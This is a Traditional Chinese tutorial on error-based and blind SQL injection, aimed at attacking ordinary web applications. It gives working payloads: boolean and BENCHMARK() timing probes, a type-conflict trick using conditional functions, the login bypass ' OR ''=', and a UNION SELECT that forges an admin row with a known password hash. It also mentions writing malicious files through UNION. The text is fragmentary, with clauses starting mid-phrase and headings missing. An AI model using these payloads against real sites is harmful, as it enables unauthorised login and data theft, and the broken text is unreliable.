SQL 注入中,「錯誤回饋」指頁面回應與正常情況不同的結果。高手極重視此點,因為它是精準判斷注入點、推斷資料庫結構的核心依據。本文系統整理錯誤類型、產生原理及實戰利用方式。
1=1 vs 1=2)。BENCHMARK() 導致超時、路徑洩露、盲注判斷依據。以 $sql = "select * from news where id=$_GET[id]" 為例:
id=1 and 1=2 → 結果集為 NULL,程式取值失敗、無顯示或跳轉。Oracle/PostgreSQL 可能在頁面顯示字串 null。id=1 or 1=1 → 結果集龐大 (全表)。若程式用迴圈讀取 (不良習慣),可能極慢或取到非預期第一筆 (導致頁面內容變化)。核心:皆因結果集不同。靈活掌握結果集行為是關鍵,非單純經驗。
SQL Server、PostgreSQL、Sybase 的語法錯誤訊息極豐富,可直接提取資料庫結構、版本、資料。若伺服器/腳本屏蔽錯誤,表現為結果集不存在 (連 NULL 都不是),攻擊者收到類似邏輯錯誤的空回應。Oracle/PostgreSQL 可能顯示 null 字樣。
BENCHMARK() 拖延執行 → 超時 → 洩露實體路徑。當回饋不明顯時,利用條件函數製造型別衝突觸發語法錯誤:
-- 假設支援 IFF(條件, 真值, 假值)
id=1 and 1=IFF(1=1, 1, 'no') -- 回傳數字 1,型別一致,成功
id=1 and 1=IFF(1=2, 1, 'no') -- 回傳字串 'no',與數字 1 型別衝突 → 語法錯誤
可惜支援 IFF 的資料庫較少,但 CASE WHEN、CONVERT、CAST 同理可構造。
OR/= 開始:登入繞過$sql = "select top 1 * from admin where username='$username' and password=md5('$password')"
-- 輸入 ' OR ''=' → WHERE 子句恆真 → 回傳第一筆管理員記錄 → 驗證通過
$sql = "select top 1 * from admin where username='$username'"
-- 程式再以記錄集中的密碼欄位比對 MD5
-- ' OR ''=' 仍產生結果集 (第一筆),但密碼比對失敗 → 登入失敗
突破:用 UNION 構造想要的結果集:
' AND 1=2 UNION SELECT TOP 1 username, 'md5_of_123456', id FROM admin WHERE username='admin
產生的記錄集密碼欄位為已知雜湊值,配合帳號 admin/123456 通過驗證並繼承權限。
XXX 法) 需嚴格型別匹配 (SQL Server 2000/Sybase),UNION 型別不符會語法錯誤導致失效。UNION 操作結果集寫入惡意檔案路徑。深入理解 結果集如何影響應用程式流程,比死記 Payload 更關鍵。掌握邏輯/語法/執行錯誤的表現差異,善用 UNION、條件函數、型別轉換構造可觀測差異,是進階注入測試的核心能力。